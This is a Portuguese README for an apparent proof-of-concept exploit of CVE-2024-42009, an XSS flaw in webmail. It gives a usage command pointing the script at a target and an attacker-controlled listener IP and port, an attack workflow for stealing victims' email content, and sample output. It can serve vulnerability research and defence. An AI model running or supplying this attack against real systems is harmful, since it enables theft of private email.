CVE-2024-42009 PoC: Listener de Captura de E-mail e Exploit XSS

Visão Geral

Esta Prova de Conceito (PoC) demonstra um exploit para o CVE-2024-42009, aproveitando uma vulnerabilidade de cross-site scripting (XSS) para extrair e-mails de uma aplicação de webmail alvo. O ataque injeta um payload malicioso que exfiltra o conteúdo do e-mail para um listener controlado pelo atacante.

Funcionalidades

• Explora uma vulnerabilidade XSS para capturar conteúdos de e-mail.
• Usa um listener HTTP para receber e decodificar e-mails exfiltrados.
• Automatiza a injeção de payload e exfiltração.

Requisitos

• Python 3.x
• Dependências necessárias (instale via pip):
  root@kitploit:~

  pip install requests beautifulsoup4
  

Uso

Execute o script com os argumentos necessários:

python exploit.py -fu [email protected] -tu [email protected] -u http://target.com/contact -ip YOUR_IP -p 1337

Parâmetros

Fluxo de Trabalho do Ataque

1. Iniciar Listener: O script inicia um servidor HTTP para capturar e-mails extraídos.
2. Injetar Payload Malicioso: O payload XSS é enviado via um e-mail criado.
3. Disparar Execução: Quando a vítima abre o e-mail, o payload executa e envia o conteúdo do e-mail para o servidor do atacante.
4. Capturar e Decodificar: O conteúdo do e-mail extraído é decodificado e exibido.

Exemplo de Saída

[*] CVE-2024-42009 PoC: Listening on 192.168.1.100:1337...
[*] Sending payload for UID 1...
[+] Payload sent for UID 1 (Status: 200)

[+] Captured Email Content:
Hello, this is a test email!

Aviso Legal

Não reivindico crédito/propriedade/divulgação da vulnerabilidade e de todos os exploits correspondentes hospedados neste repositório GitHub - Todos os créditos ao pesquisador que a descobriu; apenas criei um POC para replicar a vulnerabilidade com base nos dados da internet. Este PoC é apenas para fins educacionais e de pesquisa. Testes não autorizados contra sistemas sem consentimento são ilegais. Use com responsabilidade!